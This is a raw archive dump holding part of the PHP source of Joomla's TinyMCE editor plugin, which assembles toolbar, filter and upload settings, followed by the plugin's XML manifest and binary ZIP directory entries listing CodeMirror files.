$db->quote('1'));

		$db->setQuery($query);

		try
		{
			$template = $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			$app->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'),
'error');

			return;
		}

		$content_css    = null;
		$templates_path = JPATH_SITE . '/templates';

		// Loading of css file for 'styles' dropdown
		if ($content_css_custom)
		{
			// If URL, just pass it to $content_css
			if (strpos($content_css_custom, 'http') !== false)
			{
				$content_css = $content_css_custom;
			}

			// If it is not a URL, assume it is a file name in the current template
folder
			else
			{
				$content_css = JUri::root(true) . '/templates/' . $template .
'/css/' . $content_css_custom;

				// Issue warning notice if the file is not found (but pass name to
$content_css anyway to avoid TinyMCE error
				if (!file_exists($templates_path . '/' . $template .
'/css/' . $content_css_custom))
				{
					$msg =
sprintf(JText::_('PLG_TINY_ERR_CUSTOMCSSFILENOTPRESENT'),
$content_css_custom);
					JLog::add($msg, JLog::WARNING, 'jerror');
				}
			}
		}
		else
		{
			// Process when use_content_css is Yes and no custom file given
			if ($use_content_css)
			{
				// First check templates folder for default template
				// if no editor.css file in templates folder, check system template
folder
				if (!file_exists($templates_path . '/' . $template .
'/css/editor.css'))
				{
					// If no editor.css file in system folder, show alert
					if (!file_exists($templates_path .
'/system/css/editor.css'))
					{
						JLog::add(JText::_('PLG_TINY_ERR_EDITORCSSFILENOTPRESENT'),
JLog::WARNING, 'jerror');
					}
					else
					{
						$content_css = JUri::root(true) .
'/templates/system/css/editor.css';
					}
				}
				else
				{
					$content_css = JUri::root(true) . '/templates/' . $template
. '/css/editor.css';
				}
			}
		}

		$ignore_filter = false;

		// Text filtering
		if ($this->params->get('use_config_textfilters', 0))
		{
			// Use filters from com_config
			$filter = static::getGlobalFilters();

			$ignore_filter = $filter === false;

			$tagBlacklist  = !empty($filter->tagBlacklist) ?
$filter->tagBlacklist : array();
			$attrBlacklist = !empty($filter->attrBlacklist) ?
$filter->attrBlacklist : array();
			$tagArray      = !empty($filter->tagArray) ? $filter->tagArray :
array();
			$attrArray     = !empty($filter->attrArray) ? $filter->attrArray :
array();

			$invalid_elements  = implode(',', array_merge($tagBlacklist,
$attrBlacklist, $tagArray, $attrArray));

			// Valid elements are all whitelist entries in com_config, which are now
missing in the tagBlacklist
			$default_filter = JFilterInput::getInstance();
			$valid_elements =	implode(',',
array_diff($default_filter->tagBlacklist, $tagBlacklist));

			$extended_elements = '';
		}
		else
		{
			// Use filters from TinyMCE params
			$invalid_elements  =
$this->params->get('invalid_elements',
'script,applet,iframe');
			$extended_elements =
$this->params->get('extended_elements', '');
			$valid_elements    =
$this->params->get('valid_elements', '');
		}

		// Advanced Options
		$access = $user->getAuthorisedViewLevels();

		// Flip for performance, so we can direct check for the key
isset($access[$key])
		$access = array_flip($access);

		$html_height = $this->params->get('html_height',
'550');
		$html_width  = $this->params->get('html_width',
'');

		if ($html_width == 750)
		{
			$html_width = '';
		}

		// Image advanced options
		$image_advtab = $this->params->get('image_advtab', true);

		if (isset($access[$image_advtab]))
		{
			$image_advtab = true;
		}
		else
		{
			$image_advtab = false;
		}

		// The param is true for vertical resizing only, false or both
		$resizing          = $this->params->get('resizing',
'1');
		$resize_horizontal =
$this->params->get('resize_horizontal', '1');

		if ($resizing || $resizing == 'true')
		{
			if ($resize_horizontal || $resize_horizontal == 'true')
			{
				$resizing = 'both';
			}
			else
			{
				$resizing = true;
			}
		}
		else
		{
			$resizing = false;
		}

		$toolbar1_add   = array();
		$toolbar2_add   = array();
		$toolbar3_add   = array();
		$toolbar4_add   = array();
		$elements       = array();
		$plugins        = array(
			'autolink',
			'lists',
			'image',
			'charmap',
			'print',
			'preview',
			'anchor',
			'pagebreak',
			'code',
			'save',
			'textcolor',
			'colorpicker',
			'importcss');
		$toolbar1_add[] = 'bold';
		$toolbar1_add[] = 'italic';
		$toolbar1_add[] = 'underline';
		$toolbar1_add[] = 'strikethrough';

		// Alignment buttons
		$alignment = $this->params->get('alignment', 1);

		if (isset($access[$alignment]))
		{
			$toolbar1_add[] = '|';
			$toolbar1_add[] = 'alignleft';
			$toolbar1_add[] = 'aligncenter';
			$toolbar1_add[] = 'alignright';
			$toolbar1_add[] = 'alignjustify';
		}

		$toolbar1_add[] = '|';
		$toolbar1_add[] = 'styleselect';
		$toolbar1_add[] = '|';
		$toolbar1_add[] = 'formatselect';

		// Fonts
		$fonts = $this->params->get('fonts', 1);

		if (isset($access[$fonts]))
		{
			$toolbar1_add[] = 'fontselect';
			$toolbar1_add[] = 'fontsizeselect';
		}

		// Search & replace
		$searchreplace = $this->params->get('searchreplace', 1);

		if (isset($access[$searchreplace]))
		{
			$plugins[]      = 'searchreplace';
			$toolbar2_add[] = 'searchreplace';
		}

		$toolbar2_add[] = '|';
		$toolbar2_add[] = 'bullist';
		$toolbar2_add[] = 'numlist';
		$toolbar2_add[] = '|';
		$toolbar2_add[] = 'outdent';
		$toolbar2_add[] = 'indent';
		$toolbar2_add[] = '|';
		$toolbar2_add[] = 'undo';
		$toolbar2_add[] = 'redo';
		$toolbar2_add[] = '|';

		// Insert date and/or time plugin
		$insertdate = $this->params->get('insertdate', 1);

		if (isset($access[$insertdate]))
		{
			$plugins[]      = 'insertdatetime';
			$toolbar4_add[] = 'inserttime';
		}

		// Link plugin
		$link = $this->params->get('link', 1);

		if (isset($access[$link]))
		{
			$plugins[]      = 'link';
			$toolbar2_add[] = 'link';
			$toolbar2_add[] = 'unlink';
		}

		$toolbar2_add[] = 'anchor';
		$toolbar2_add[] = 'image';
		$toolbar2_add[] = '|';
		$toolbar2_add[] = 'code';

		// Colors
		$colors = $this->params->get('colors', 1);

		if (isset($access[$colors]))
		{
			$toolbar2_add[] = '|';
			$toolbar2_add[] = 'forecolor,backcolor';
		}

		// Fullscreen
		$fullscreen = $this->params->get('fullscreen', 1);

		if (isset($access[$fullscreen]))
		{
			$plugins[]      = 'fullscreen';
			$toolbar2_add[] = '|';
			$toolbar2_add[] = 'fullscreen';
		}

		// Table
		$table = $this->params->get('table', 1);

		if (isset($access[$table]))
		{
			$plugins[]      = 'table';
			$toolbar3_add[] = 'table';
			$toolbar3_add[] = '|';
		}

		$toolbar3_add[] = 'subscript';
		$toolbar3_add[] = 'superscript';
		$toolbar3_add[] = '|';
		$toolbar3_add[] = 'charmap';

		// Emotions
		$smilies = $this->params->get('smilies', 1);

		if (isset($access[$smilies]))
		{
			$plugins[]      = 'emoticons';
			$toolbar3_add[] = 'emoticons';
		}

		// Media plugin
		$media = $this->params->get('media', 1);

		if (isset($access[$media]))
		{
			$plugins[]      = 'media';
			$toolbar3_add[] = 'media';
		}

		// Horizontal line
		$hr = $this->params->get('hr', 1);

		if (isset($access[$hr]))
		{
			$plugins[]      = 'hr';
			$elements[]     = 'hr[id|title|alt|class|width|size|noshade]';
			$toolbar3_add[] = 'hr';
		}
		else
		{
			$elements[] = 'hr[id|class|title|alt]';
		}

		// RTL/LTR buttons
		$directionality = $this->params->get('directionality',
1);

		if (isset($access[$directionality]))
		{
			$plugins[]      = 'directionality';
			$toolbar3_add[] = 'ltr rtl';
		}

		if ($extended_elements != "")
		{
			$elements = explode(',', $extended_elements);
		}

		$toolbar4_add[] = 'cut';
		$toolbar4_add[] = 'copy';

		// Paste
		$paste = $this->params->get('paste', 1);

		if (isset($access[$paste]))
		{
			$plugins[]      = 'paste';
			$toolbar4_add[] = 'paste';
		}

		$toolbar4_add[] = '|';

		// Visualchars
		$visualchars = $this->params->get('visualchars', 1);

		if (isset($access[$visualchars]))
		{
			$plugins[]      = 'visualchars';
			$toolbar4_add[] = 'visualchars';
		}

		// Visualblocks
		$visualblocks = $this->params->get('visualblocks', 1);

		if (isset($access[$visualblocks]))
		{
			$plugins[]      = 'visualblocks';
			$toolbar4_add[] = 'visualblocks';
		}

		// Non-breaking
		$nonbreaking = $this->params->get('nonbreaking', 1);

		if (isset($access[$nonbreaking]))
		{
			$plugins[]      = 'nonbreaking';
			$toolbar4_add[] = 'nonbreaking';
		}

		// Blockquote
		$blockquote = $this->params->get('blockquote', 1);

		if (isset($access[$blockquote]))
		{
			$toolbar4_add[] = 'blockquote';
		}

		// Template
		$template = $this->params->get('template', 1);
		$templates = array();

		if (isset($access[$template]))
		{
			$plugins[]      = 'template';
			$toolbar4_add[] = 'template';

			// Note this check for the template_list.js file will be removed in
Joomla 4.0
			if (is_file(JPATH_ROOT .
"/media/editors/tinymce/templates/template_list.js"))
			{
				// If using the legacy file we need to include and input the files the
new way
				$str = file_get_contents(JPATH_ROOT .
"/media/editors/tinymce/templates/template_list.js");

				// Find from one [ to the last ]
				$matches = array();
				preg_match_all('/\[.*\]/', $str, $matches);

				// Set variables
				foreach ($matches['0'] as $match)
				{
					$values = array();
					preg_match_all('/\".*\"/', $match, $values);
					$result       = trim($values["0"]["0"],
'"');
					$final_result = explode(',', $result);

					$templates[] = array(
						'title' => trim($final_result['0'], '
" '),
						'description' => trim($final_result['2'],
' " '),
						'url' => JUri::root(true) . '/' .
trim($final_result['1'], ' " '),
					);
				}

			}
			else
			{
				foreach (glob(JPATH_ROOT .
'/media/editors/tinymce/templates/*.html') as $filename)
				{
					$filename = basename($filename, '.html');

					if ($filename !== 'index')
					{
						$lang        = JFactory::getLanguage();
						$title       = $filename;
						$description = ' ';

						if ($lang->hasKey('PLG_TINY_TEMPLATE_' .
strtoupper($filename) . '_TITLE'))
						{
							$title = JText::_('PLG_TINY_TEMPLATE_' .
strtoupper($filename) . '_TITLE');
						}

						if ($lang->hasKey('PLG_TINY_TEMPLATE_' .
strtoupper($filename) . '_DESC'))
						{
							$description = JText::_('PLG_TINY_TEMPLATE_' .
strtoupper($filename) . '_DESC');
						}

						$templates[] = array(
							'title' => $title,
							'description' => $description,
							'url' => JUri::root(true) .
'/media/editors/tinymce/templates/' . $filename .
'.html',
						);
					}
				}
			}
		}

		// Print
		$print = $this->params->get('print', 1);

		if (isset($access[$print]))
		{
			$plugins[]      = 'print';
			$toolbar4_add[] = '|';
			$toolbar4_add[] = 'print';
			$toolbar4_add[] = 'preview';
		}

		// Spellchecker
		$spell = $this->params->get('spell', 0);

		if (isset($access[$spell]))
		{
			$plugins[]      = 'spellchecker';
			$toolbar4_add[] = '|';
			$toolbar4_add[] = 'spellchecker';
		}

		// Wordcount
		$wordcount = $this->params->get('wordcount', 1);

		if (isset($access[$wordcount]))
		{
			$plugins[] = 'wordcount';
		}

		// Advlist
		$advlist = $this->params->get('advlist', 1);

		if (isset($access[$advlist]))
		{
			$plugins[] = 'advlist';
		}

		// Codesample
		$advlist = $this->params->get('code_sample', 1);

		if (isset($access[$advlist]))
		{
			$plugins[]      = 'codesample';
			$toolbar4_add[] = 'codesample';
		}

		// Autosave
		$autosave = $this->params->get('autosave', 1);

		if (isset($access[$autosave]))
		{
			$plugins[] = 'autosave';
		}

		// Context menu
		$contextmenu = $this->params->get('contextmenu', 1);

		if (isset($access[$contextmenu]))
		{
			$plugins[] = 'contextmenu';
		}

		$custom_plugin = $this->params->get('custom_plugin',
'');

		if ($custom_plugin != "")
		{
			$plugins[] = $custom_plugin;
		}

		$custom_button = $this->params->get('custom_button',
'');

		if ($custom_button != "")
		{
			$toolbar4_add[] = $custom_button;
		}

		// Drag and drop Images
		$externalPlugins = array();
		$allowImgPaste   = false;
		$dragdrop        = $this->params->get('drag_drop', 1);

		if ($dragdrop && $user->authorise('core.create',
'com_media'))
		{
			$allowImgPaste = true;
			$isSubDir      = '';
			$session       = JFactory::getSession();
			$uploadUrl     = JUri::base() .
'index.php?option=com_media&task=file.upload&tmpl=component&'
								. $session->getName() . '=' . $session->getId()
								. '&' . JSession::getFormToken() . '=1'
								. '&asset=image&format=json';

			if ($app->isClient('site'))
			{
				$uploadUrl = htmlentities($uploadUrl, null, 'UTF-8', null);
			}

			// Is Joomla installed in subdirectory
			if (JUri::root(true) != '/')
			{
				$isSubDir = JUri::root(true);
			}

			JText::script('PLG_TINY_ERR_UNSUPPORTEDBROWSER');

			$scriptOptions['setCustomDir']    = $isSubDir;
			$scriptOptions['mediaUploadPath'] =
$this->params->get('path', '');
			$scriptOptions['uploadUri']       = $uploadUrl;

			$externalPlugins = array(
				array(
					'jdragdrop' => HTMLHelper::_(
						'script',
						'editors/tinymce/plugins/dragdrop/plugin.min.js',
						array('relative' => true, 'version' =>
'auto', 'pathOnly' => true)
					),
				),
			);
		}

		// Prepare config variables
		$plugins  = implode(',', $plugins);
		$elements = implode(',', $elements);

		// Prepare config variables
		$toolbar1 = implode(' ', $toolbar1_add) . ' | '
					. implode(' ', $toolbar2_add) . ' | '
					. implode(' ', $toolbar3_add) . ' | '
					. implode(' ', $toolbar4_add);

		// See if mobileVersion is activated
		$mobileVersion = $this->params->get('mobile', 0);

		$scriptOptions = array_merge(
			$scriptOptions,
			array(
			'suffix'  => '.min',
			'baseURL' => JUri::root(true) .
'/media/editors/tinymce',
			'directionality' => $text_direction,
			'language' => $langPrefix,
			'autosave_restore_when_empty' => false,
			'skin'   => $skin,
			'theme'  => $theme,
			'schema' => 'html5',

			// Cleanup/Output
			'inline_styles'    => true,
			'gecko_spellcheck' => true,
			'entity_encoding'  =>
$this->params->get('entity_encoding', 'raw'),
			'verify_html'      => !$ignore_filter,

			// URL
			'relative_urls'      => (bool)
$this->params->get('relative_urls', true),
			'remove_script_host' => false,

			// Layout
			'content_css'        => $content_css,
			'document_base_url'  => JUri::root(true) . '/',
			'paste_data_images'  => $allowImgPaste,
			'externalPlugins'    => json_encode($externalPlugins),
		)
		);

		if ($this->params->get('newlines'))
		{
			// Break
			$scriptOptions['force_br_newlines'] = true;
			$scriptOptions['force_p_newlines']  = false;
			$scriptOptions['forced_root_block'] = '';
		}
		else
		{
			// Paragraph
			$scriptOptions['force_br_newlines'] = false;
			$scriptOptions['force_p_newlines']  = true;
			$scriptOptions['forced_root_block'] = 'p';
		}

		/**
		 * Shrink the buttons if not on a mobile or if mobile view is off.
		 * If mobile view is on force into simple mode and enlarge the buttons
		 **/
		if (!$this->app->client->mobile)
		{
			$scriptOptions['toolbar_items_size'] = 'small';
		}
		elseif ($mobileVersion)
		{
			$mode = 0;
		}

		switch ($mode)
		{
			case 0: /* Simple mode*/
				$scriptOptions['menubar']  = false;
				$scriptOptions['toolbar1'] = 'bold italic underline
strikethrough | undo redo | bullist numlist | code';
				$scriptOptions['plugins']  = ' code';

				break;

			case 1:
			default: /* Advanced mode*/
				$toolbar1 = "bold italic underline strikethrough | alignleft
aligncenter alignright alignjustify | formatselect | bullist numlist "
							. "| outdent indent | undo redo | link unlink anchor code | hr
table | subscript superscript | charmap";

				$scriptOptions['valid_elements'] = $valid_elements;
				$scriptOptions['extended_valid_elements'] = $elements;
				$scriptOptions['invalid_elements'] = $invalid_elements;
				$scriptOptions['plugins']  = 'table link code hr charmap
autolink lists importcss ';
				$scriptOptions['toolbar1'] = $toolbar1;
				$scriptOptions['removed_menuitems'] =
'newdocument';
				$scriptOptions['importcss_append']  = true;
				$scriptOptions['height'] = $html_height;
				$scriptOptions['width']  = $html_width;
				$scriptOptions['resize'] = $resizing;

				break;

			case 2: /* Extended mode*/
				$scriptOptions['valid_elements'] = $valid_elements;
				$scriptOptions['extended_valid_elements'] = $elements;
				$scriptOptions['invalid_elements'] = $invalid_elements;
				$scriptOptions['plugins']  = $plugins;
				$scriptOptions['toolbar1'] = $toolbar1;
				$scriptOptions['removed_menuitems'] =
'newdocument';
				$scriptOptions['rel_list'] = array(
					array('title' => 'None', 'value'
=> ''),
					array('title' => 'Alternate', 'value'
=> 'alternate'),
					array('title' => 'Author', 'value'
=> 'author'),
					array('title' => 'Bookmark', 'value'
=> 'bookmark'),
					array('title' => 'Help', 'value'
=> 'help'),
					array('title' => 'License', 'value'
=> 'license'),
					array('title' => 'Lightbox', 'value'
=> 'lightbox'),
					array('title' => 'Next', 'value'
=> 'next'),
					array('title' => 'No Follow', 'value'
=> 'nofollow'),
					array('title' => 'No Referrer',
'value' => 'noreferrer'),
					array('title' => 'Prefetch', 'value'
=> 'prefetch'),
					array('title' => 'Prev', 'value'
=> 'prev'),
					array('title' => 'Search', 'value'
=> 'search'),
					array('title' => 'Tag', 'value' =>
'tag'),
				);
				$scriptOptions['importcss_append'] = true;
				$scriptOptions['image_advtab']     = $image_advtab;
				$scriptOptions['height']    = $html_height;
				$scriptOptions['width']     = $html_width;
				$scriptOptions['resize']    = $resizing;
				$scriptOptions['templates'] = $templates;

				break;
		}

		$options['tinyMCE']['default'] = $scriptOptions;

		$doc->addStyleDeclaration(".mce-in { padding: 5px 10px
!important;}");
		$doc->addScriptOptions('plg_editor_tinymce', $options);

		return $editor;
	}
}
PK
��[�o�c��tinymce/tinymce.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension version="3.2" type="plugin"
group="editors" method="upgrade">
	<name>plg_editors_tinymce</name>
	<version>4.5.12</version>
	<creationDate>2005-2020</creationDate>
	<author>Tiny Technologies, Inc</author>
	<authorEmail>N/A</authorEmail>
	<authorUrl>https://www.tiny.cloud</authorUrl>
	<copyright>Tiny Technologies, Inc</copyright>
	<license>LGPL</license>
	<description>PLG_TINY_XML_DESCRIPTION</description>
	<files>
		<filename plugin="tinymce">tinymce.php</filename>
		<folder>fields</folder>
		<folder>form</folder>
	</files>
	<media destination="editors" folder="media">
		<folder>tinymce</folder>
	</media>
	<languages>
		<language
tag="en-GB">en-GB.plg_editors_tinymce.ini</language>
		<language
tag="en-GB">en-GB.plg_editors_tinymce.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
				       name="configuration"
				       type="tinymcebuilder"
				       hiddenLabel="true"
				 />
			</fieldset>

			<fieldset name="advanced"
label="PLG_TINY_FIELD_LABEL_ADVANCEDPARAMS">
				<field
					name="sets_amount"
					type="number"
					label="PLG_TINY_FIELD_NUMBER_OF_SETS_LABEL"
					description="PLG_TINY_FIELD_NUMBER_OF_SETS_DESC"
					filter="int"
					validate="number"
					min="3"
					default="3"
				/>

				<field
					name="html_height"
					type="text"
					label="PLG_TINY_FIELD_HTMLHEIGHT_LABEL"
					description="PLG_TINY_FIELD_HTMLHEIGHT_DESC"
					default="550px"
				/>

				<field
					name="html_width"
					type="text"
					label="PLG_TINY_FIELD_HTMLWIDTH_LABEL"
					description="PLG_TINY_FIELD_HTMLWIDTH_DESC"
					default=""
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK2��[[��6"#"##codemirror/addon/comment/comment.jsnu�[���PK2��[�j���'u#codemirror/addon/comment/comment.min.jsnu�[���PK3��[v�m!��+�3codemirror/addon/comment/continuecomment.jsnu�[���PK3��[f�����/�Fcodemirror/addon/comment/continuecomment.min.jsnu�[���PK3��[�H[���"(Ocodemirror/addon/dialog/dialog.cssnu�[���PK3��[�J���!uQcodemirror/addon/dialog/dialog.jsnu�[���PK3��[B��&Hfcodemirror/addon/dialog/dialog.min.cssnu�[���PK3��[u~H	H	%,hcodemirror/addon/dialog/dialog.min.jsnu�[���PK3��[^�4a'�qcodemirror/addon/display/autorefresh.jsnu�[���PK3��[�@��\\+(xcodemirror/addon/display/autorefresh.min.jsnu�[���PK3��[z��{tt'�{codemirror/addon/display/fullscreen.cssnu�[���PK4��[
*����&�|codemirror/addon/display/fullscreen.jsnu�[���PK5��['C:ZZ+ׂcodemirror/addon/display/fullscreen.min.cssnu�[���PK5��[d�%��*��codemirror/addon/display/fullscreen.min.jsnu�[���PK5��[�6��YY!i�codemirror/addon/display/panel.jsnu�[���PK5��[�O�	�	%�codemirror/addon/display/panel.min.jsnu�[���PK5��[|�ʗ��'�codemirror/addon/display/placeholder.jsnu�[���PK5��[an����+�codemirror/addon/display/placeholder.min.jsnu�[���PK5��[S�O�||"4�codemirror/addon/display/rulers.jsnu�[���PK5��[5r���&�codemirror/addon/display/rulers.min.jsnu�[���PK5��[�ui��&��codemirror/addon/edit/closebrackets.jsnu�[���PK5��[$?*+�
�
*��codemirror/addon/edit/closebrackets.min.jsnu�[���PK5��[�4�J!J!!��codemirror/addon/edit/closetag.jsnu�[���PK6��[J���
�
%bcodemirror/addon/edit/closetag.min.jsnu�[���PK6��[ѨI�kk%�codemirror/addon/edit/continuelist.jsnu�[���PK6��[zx���)v&codemirror/addon/edit/continuelist.min.jsnu�[���PK6��[������&�,codemirror/addon/edit/matchbrackets.jsnu�[���PK6��[�Wx*�Fcodemirror/addon/edit/matchbrackets.min.jsnu�[���PK6��[l�=F4	4	"cScodemirror/addon/edit/matchtags.jsnu�[���PK6��[��T�EE&�\codemirror/addon/edit/matchtags.min.jsnu�[���PK6��[���:��&�bcodemirror/addon/edit/trailingspace.jsnu�[���PK6��[�����*�fcodemirror/addon/edit/trailingspace.min.jsnu�[���PK6��[Y��PP#icodemirror/addon/fold/brace-fold.jsnu�[���PK6��[�^jpzz'�xcodemirror/addon/fold/brace-fold.min.jsnu�[���PK6��[)�a�rr%��codemirror/addon/fold/comment-fold.jsnu�[���PK6��[Xq
�)W�codemirror/addon/fold/comment-fold.min.jsnu�[���PK6��[�Է^99!��codemirror/addon/fold/foldcode.jsnu�[���PK6��[��

%;�codemirror/addon/fold/foldcode.min.jsnu�[���PK6��[�$J��$��codemirror/addon/fold/foldgutter.cssnu�[���PK6��[�*���#��codemirror/addon/fold/foldgutter.jsnu�[���PK6��[�tagww(��codemirror/addon/fold/foldgutter.min.cssnu�[���PK6��[�g3��
�
'��codemirror/addon/fold/foldgutter.min.jsnu�[���PK6��[)d"
��$��codemirror/addon/fold/indent-fold.jsnu�[���PK6��[�����(��codemirror/addon/fold/indent-fold.min.jsnu�[���PK6��[Sc�FF&��codemirror/addon/fold/markdown-fold.jsnu�[���PK6��[�����*4�codemirror/addon/fold/markdown-fold.min.jsnu�[���PK6��[�r�`,,!]�codemirror/addon/fold/xml-fold.jsnu�[���PK6��[mߠ�^
^
%�codemirror/addon/fold/xml-fold.min.jsnu�[���PK6��[�B�g��%�codemirror/addon/hint/anyword-hint.jsnu�[���PK6��[3.��)scodemirror/addon/hint/anyword-hint.min.jsnu�[���PK6��[&�S

!�codemirror/addon/hint/css-hint.jsnu�[���PK6��[Y��1%H
codemirror/addon/hint/css-hint.min.jsnu�[���PK6��[R#�$�,�,"�&codemirror/addon/hint/html-hint.jsnu�[���PK6��[v��+&�Scodemirror/addon/hint/html-hint.min.jsnu�[���PK6��[<fAq��(�qcodemirror/addon/hint/javascript-hint.jsnu�[���PK6��[�<��,�codemirror/addon/hint/javascript-hint.min.jsnu�[���PK6��[^��oo#T�codemirror/addon/hint/show-hint.cssnu�[���PK6��[<�oFoF"�codemirror/addon/hint/show-hint.jsnu�[���PK6��[�����'��codemirror/addon/hint/show-hint.min.cssnu�[���PK6��[�w�v�%�%&(�codemirror/addon/hint/show-hint.min.jsnu�[���PK6��[D�І�%�%!codemirror/addon/hint/sql-hint.jsnu�[���PK6��[���%�1codemirror/addon/hint/sql-hint.min.jsnu�[���PK6��[WL?P��!�@codemirror/addon/hint/xml-hint.jsnu�[���PK6��[دg�		%4Vcodemirror/addon/hint/xml-hint.min.jsnu�[���PK6��[x�p��*�_codemirror/addon/lint/coffeescript-lint.jsnu�[���PK6��[=�����.�ecodemirror/addon/lint/coffeescript-lint.min.jsnu�[���PK6��[���!icodemirror/addon/lint/css-lint.jsnu�[���PK7��[`8�>hh%vncodemirror/addon/lint/css-lint.min.jsnu�[���PK7��[y0&���"3qcodemirror/addon/lint/html-lint.jsnu�[���PK7��[�_d��&Jycodemirror/addon/lint/html-lint.min.jsnu�[���PK7��[��O�00(l}codemirror/addon/lint/javascript-lint.jsnu�[���PK7��[�wJ��,�codemirror/addon/lint/javascript-lint.min.jsnu�[���PK7��[r��55"�codemirror/addon/lint/json-lint.jsnu�[���PK7��[ƨ�zz&x�codemirror/addon/lint/json-lint.min.jsnu�[���PK7��[˕�A��H�codemirror/addon/lint/lint.cssnu�[���PK7��[�|U?"?"M�codemirror/addon/lint/lint.jsnu�[���PK7��[\��X�
�
"�codemirror/addon/lint/lint.min.cssnu�[���PK7��[ބ��55!��codemirror/addon/lint/lint.min.jsnu�[���PK7��[��e��"R�codemirror/addon/lint/yaml-lint.jsnu�[���PK8��[��bi!!&��codemirror/addon/lint/yaml-lint.min.jsnu�[���PK8��[��E�_
_
�codemirror/addon/merge/merge.cssnu�[���PK8��[6��=����codemirror/addon/merge/merge.jsnu�[���PK8��[��m��$�codemirror/addon/merge/merge.min.cssnu�[���PK8��[�G%�H�H#
�codemirror/addon/merge/merge.min.jsnu�[���PK8��[c�7��	�	!0�codemirror/addon/mode/loadmode.jsnu�[���PK8��[��(���%n�codemirror/addon/mode/loadmode.min.jsnu�[���PK8��[W?��AA"��codemirror/addon/mode/multiplex.jsnu�[���PK8��[�f�ٰ�&R�codemirror/addon/mode/multiplex.min.jsnu�[���PK8��[�w0BB'Xcodemirror/addon/mode/multiplex_test.jsnu�[���PK8��[J��p��+�codemirror/addon/mode/multiplex_test.min.jsnu�[���PK8��[�cOL��
<codemirror/addon/mode/overlay.jsnu�[���PK8��[���00$5codemirror/addon/mode/overlay.min.jsnu�[���PK8��[jq�Yll�
codemirror/addon/mode/simple.jsnu�[���PK8��[�h@��#t@codemirror/addon/mode/simple.min.jsnu�[���PK9��[f�K$�Pcodemirror/addon/runmode/colorize.jsnu�[���PK9��[�g��(Vcodemirror/addon/runmode/colorize.min.jsnu�[���PK9��[��l�.�..Ycodemirror/addon/runmode/runmode-standalone.jsnu�[���PK9��[�����2R�codemirror/addon/runmode/runmode-standalone.min.jsnu�[���PK9��[���[�
�
#|�codemirror/addon/runmode/runmode.jsnu�[���PK9��[�eo��'��codemirror/addon/runmode/runmode.min.jsnu�[���PK9��[K��,�,(��codemirror/addon/runmode/runmode.node.jsnu�[���PK9��[K?gj^^,��codemirror/addon/scroll/annotatescrollbar.jsnu�[���PK9��[=��>d
d
0�codemirror/addon/scroll/annotatescrollbar.min.jsnu�[���PK9��[��..(ccodemirror/addon/scroll/scrollpastend.jsnu�[���PK9��['c+Z##,�codemirror/addon/scroll/scrollpastend.min.jsnu�[���PK:��[�T~CC,hcodemirror/addon/scroll/simplescrollbars.cssnu�[���PK<��[K���WW+!codemirror/addon/scroll/simplescrollbars.jsnu�[���PK<��[�(�}}0�6codemirror/addon/scroll/simplescrollbars.min.cssnu�[���PKA��[�d��$$/�;codemirror/addon/scroll/simplescrollbars.min.jsnu�[���PKA��[��h���'Hcodemirror/addon/search/jump-to-line.jsnu�[���PKA��[������+QPcodemirror/addon/search/jump-to-line.min.jsnu�[���PKA��[�NEE,@Ucodemirror/addon/search/match-highlighter.jsnu�[���PKA��[p)u:�
�
0�mcodemirror/addon/search/match-highlighter.min.jsnu�[���PKA��[��&���.1ycodemirror/addon/search/matchesonscrollbar.cssnu�[���PKA��[���-Kzcodemirror/addon/search/matchesonscrollbar.jsnu�[���PKA��[�@~��2��codemirror/addon/search/matchesonscrollbar.min.cssnu�[���PKA��[
����1��codemirror/addon/search/matchesonscrollbar.min.jsnu�[���PKA��[�)**!��codemirror/addon/search/search.jsnu�[���PKA��[�t��YY%�codemirror/addon/search/search.min.jsnu�[���PKA��[C��F�/�/'��codemirror/addon/search/searchcursor.jsnu�[���PKA��[�B����+�codemirror/addon/search/searchcursor.min.jsnu�[���PKA��[�9���	�	)�codemirror/addon/selection/active-line.jsnu�[���PKA��[��KK-
#codemirror/addon/selection/active-line.min.jsnu�[���PKA��[�fW,�(codemirror/addon/selection/mark-selection.jsnu�[���PKA��[N^�0��0+8codemirror/addon/selection/mark-selection.min.jsnu�[���PKA��[����/�?codemirror/addon/selection/selection-pointer.jsnu�[���PKA��[U�D�3�Lcodemirror/addon/selection/selection-pointer.min.jsnu�[���PKA��[�J�jPP�Tcodemirror/addon/tern/tern.cssnu�[���PKA��[Б��'b'bB\codemirror/addon/tern/tern.jsnu�[���PKA��[�Z�(("��codemirror/addon/tern/tern.min.cssnu�[���PKA��[,���u.u.!0�codemirror/addon/tern/tern.min.jsnu�[���PKA��[W��Q����codemirror/addon/tern/worker.jsnu�[���PKA��[�:���#��codemirror/addon/tern/worker.min.jsnu�[���PKA��[��օ�!K�codemirror/addon/wrap/hardwrap.jsnu�[���PKA��[+a�

%!codemirror/addon/wrap/hardwrap.min.jsnu�[���PKA��[qh{��5�5�codemirror/keymap/emacs.jsnu�[���PKA��[�B����Tcodemirror/keymap/emacs.min.jsnu�[���PKA��[Qn��f�f�qcodemirror/keymap/sublime.jsnu�[���PKA��[���H;H;
��codemirror/keymap/sublime.min.jsnu�[���PKA��[��"�N�NM	codemirror/keymap/vim.jsnu�[���PKA��[�v��7�7�ccodemirror/keymap/vim.min.jsnu�[���PKA��[dVr,,ě
codemirror/lib/addons.cssnu�[���PKA��[�����9�
codemirror/lib/addons.jsnu�[���PKA��[y�rg��Ocodemirror/lib/addons.min.cssnu�[���PKA��[
ÈQ��;Vcodemirror/lib/addons.min.jsnu�[���PKA��[��""�=codemirror/lib/codemirror.cssnu�[���PKA��[�M�7���_codemirror/lib/codemirror.jsnu�[���PKA��[I.��hh!�ocodemirror/lib/codemirror.min.cssnu�[���PKA��[�t�@m�m�
p�codemirror/lib/codemirror.min.jsnu�[���PKD��[�+=+SS-'codemirror/LICENSEnu�[���PKD��[�$�N���+codemirror/mode/apl/apl.jsnu�[���PKD��[�+��}
}
�>codemirror/mode/apl/apl.min.jsnu�[���PKD��[oPeُ	�	(XIcodemirror/mode/asciiarmor/asciiarmor.jsnu�[���PKD��[VϴD��,?Scodemirror/mode/asciiarmor/asciiarmor.min.jsnu�[���PKD��[�j�88:Xcodemirror/mode/asn.1/asn.1.jsnu�[���PKD��[���X~~
